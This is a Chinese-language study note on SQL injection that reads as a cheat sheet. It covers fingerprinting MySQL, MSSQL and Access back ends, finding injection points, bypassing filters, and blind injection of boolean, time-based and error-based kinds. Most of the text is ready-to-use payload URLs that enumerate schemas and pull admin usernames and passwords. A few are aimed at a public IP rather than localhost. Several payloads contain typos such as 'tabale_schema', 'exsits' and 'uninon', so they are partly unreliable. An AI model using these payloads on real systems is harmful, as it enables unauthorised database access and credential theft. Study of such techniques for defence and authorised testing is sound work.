本周主要学习的事SQL注入相关的细节信息,包括数据库枚举方式,判定注入点的方式,注入形式等等,具体如下:
【一、判断数据库类型 】
看到一个网站首先要判断网站的数据库类型,首先了解主流的三款数据库
1、Access一般用在小网站上,类似企业站,功能比较简单,对数据要求不高;2、Mssql是一个比较大的完善的数据库,在windows上常用,配NETASP等程序。3、Mysql是一个小型的公开源代码的免费数据库,在windows,linux上都常用,和PHP程序组成一对完美搭档。
一般PHP 为mysql,asp、aspx为sql sever
mysql数据库 php网页后缀用'来看是否报错,确定报错后判断闭合条件
Mysql【a\Mysql闭合条件查询】
http://127.0.0.1/day6/1.php?id=1 union select 1,name,pass from admin 数字型
数字型不用特意加字符,直接 and1=2检测是否有注入点;
http://127.0.0.1/day6/1.php?key=-test' union select 1,name,pass from admin --+ 字符型
字符型需要在'xx--+ 中间输入命令,'and1=2--+检测是否有注入点;
http://127.0.0.1/day6/2.php?keyword=test %' order by 3 --+ 搜索型
搜索型需要在%'xx--+中间输入命令,%'and1=2--+检测是否有注入点;
http://103.238.227.13:10083/?id=1 %df%27 union select 1,schema_name from information_schema.schemata %23 查询数据库
宽字节型需要在%df%27xx%23中间输入命令,%df%27and1=2%23检测是否有注入点,查询列表值得时候’‘要用0x十六进值代替;
【 b/SQL注入过滤限制绕过方法】
1、大小写过滤:http://xxxx?id=-1 Union SELect 1,2,3
2、空格过滤:http://xxxx?id=-1/**/uninon/**/... (标黄代替空格)
3、空格和: http://xxxx?id=-1%252f%252a*/and%252f%252a*/1=1
相当于是--http://xxxx?id=-1 and 1=1
【C/数据库枚举查询】
联合查询数据库名,表名,列值,内容方式:
查询数据库:http://xxxxxx? union select null,schema_name,null from information_schema.schemata
查询当前数据库:http://xxxxxx? union select 1,database(),null
查询当前版本信息:http://xxxxxx? union select 1,user,@@version,null
查询数据表:http://xxxxxx? union select null,table_name,null from information_schema.tables where tabale_schema='xxx'
查询数据字段:http://xxxxxx? union select null,column_name,null from information_schema.columns where tabale_schema='xxx' and table_name='xxxx'
查询详细信息:http://xxxxxx? union select null,column_name,null from schema_name.columa_name
group_concat()查询全部列表 ;
【D/盲注】
• 基于布尔SQL盲注--构造逻辑判断
mid()函数
此函数为截取字符串一部分。MID(column_name,start[,length])
Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
用法和MID用法一样的;
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
利用left(database(),1)进行尝试
http://127.0.0.1/test/qwe/sql/01.php?id=1%20and%20left(@@version,1)=5
查看一下version(),数据库的版本号为5.6.17,这里的语句的意思是看版本号的第一位是不是5,明显的返回的结果是正确的。
• 基于时间的SQL盲注--延时注入
延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术。
延时注入作为最精准的注入;
首先我们确定该页面存在延时注入。延时注入的使用环境多为常规注入无法正常显示数据的情况下,由于时间问题我们就写容错,直接进行延时注入。
假设我们输入常规注入语句页面没有变化,带入“and sleep(2)”后页面响应时间出现明显变化,那么就基本可以确定这是一个延时注入。
语句:select if(ascii(mid(user(),1,1))=114,sleep(2),1); 该语句的意思为查询user()用户名截取第一个字符 然后跟114对比(114为r的ascii码),如果条件成立执行sleep(2)延时2秒,否则执行查询输出1
首先我们用通过union查询字段长度。得到字段长度为3.
带入查询语句,我们首先需要知道我们想要得到数据的长度,这里我们以查询数据库名为例。在我们猜测7时,if条件成立执行sleep函数,证明database()的长度为7
http://127.0.0.1/index.php?id=1 and if(length(database())=7,sleep(2),1)
知道了长度我们要做的就是猜解每一位是什么。通过mid函数取database的第一位进行对比,条件成立执行sleep函数,115为s的ascii码
http://127.0.0.1/test/qwe/sql/8.php?id=1%20and%20if(ascii(mid(database(),1,1))=115,sleep(2),1)
接下来一个个猜解
•基于报错的SQL盲注--报错注入
基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上
一般是在页面没有显示位、但用echo mysql_error();输出了错误信息的时候使用,
它的特点是注入速度快,但是语句较复杂,大部分情况只能用limit依次猜解
语句:and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
extractvalue() 报错语句用法
http://127.0.0.1/index.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
updatexml()报错语句用法
http://127.0.0.1/index.php?id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))
【两个语句把user()替换成相关的其他语句一样用】
SQLsever【a\Sql sever数据库注入】
基础查询
查询所有:
Select * from 表名
select * from Student
1、说明:创建数据库
CREATE DATABASE database-name
2、说明:删除数据库
drop database dbname
SELECT TOP 2 * FROM table_name mssql
同等于
SELECT * FROM table_name LIMIT 0,2 mysql
判断数据库类型
Access:
and (select id from MSysAccessObjects) >0 返回正常说明是access
MSSQL:
and (select id from sysobjects) >0 返回正常说明是mssql
MSSSQL 权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等 system
db权限:文件管理,数据库操作等 users-adminstrators
public权限:数据库操作 guest-users
注入点权限判断
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
----------------
;declare @d int //判断MsSQL支持多行语句查询
and user>0 //获取当前数据库用户名
and db_name()>0 //获取当前数据库名称
and 1=convert(int,db_name())或1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
----------------
注入过程:
'查注入点
1、获取一个数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4)
如果你要查询的是所有数据库(用户/系统):
select * from master..sysdatabases
如果你要查询的是用户数据库,则使用:
select * from master..sysdatabases where dbid > 4
如果你要查询的是系统数据库,只需要把where字句改为dbid < 4即可。
查询下一个数据库
and 1=(select top 1 name from master..sysdatabases where dbid>4 and name<> 'acublog')
以此类推可以查询全部的数据库
2、获取第一张表 threads
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
获取第二张表 users
?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' )
获取第三张表 forums
?id=1 and 1=(select top 1 name from sysobjects where xtype='U' and name <> 'threads' and name <> 'users' )
3、获取第一列列名 uname
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users'))
获取第二列列名 upass
?id=1 and 1=(select top 1 name from syscolumns where id =(select id from sysobjects where name = 'users') and name <> 'uname' )
4、获取第一个用户名
?id=1 and 1=(select top 1 uname from users)
获取第一个用户名对应的密码
?id=1 and 1=(select top 1 upass from users )
ACCESS【a\Access数据库注入】
判断注入点
‘
And 1=1
And 1=2
/
-0
判断数据库类型
and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver
EXISTS用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False
猜表名:
and exists (select * from 你要猜得表名)查看是否存在表名 (存在的情况下页面刷新正常,同理猜字段一样的 )
判断数据库表
and exists (select * from admin)
判断数据库列名
and exists (select admin from admin)
猜列名的字段名: and exists (select 你要猜的字段名 from 你已经才出来的表名)查看是否存在字段名
判断字段长度
order by 20
报错
and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin
数据库联合查询
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin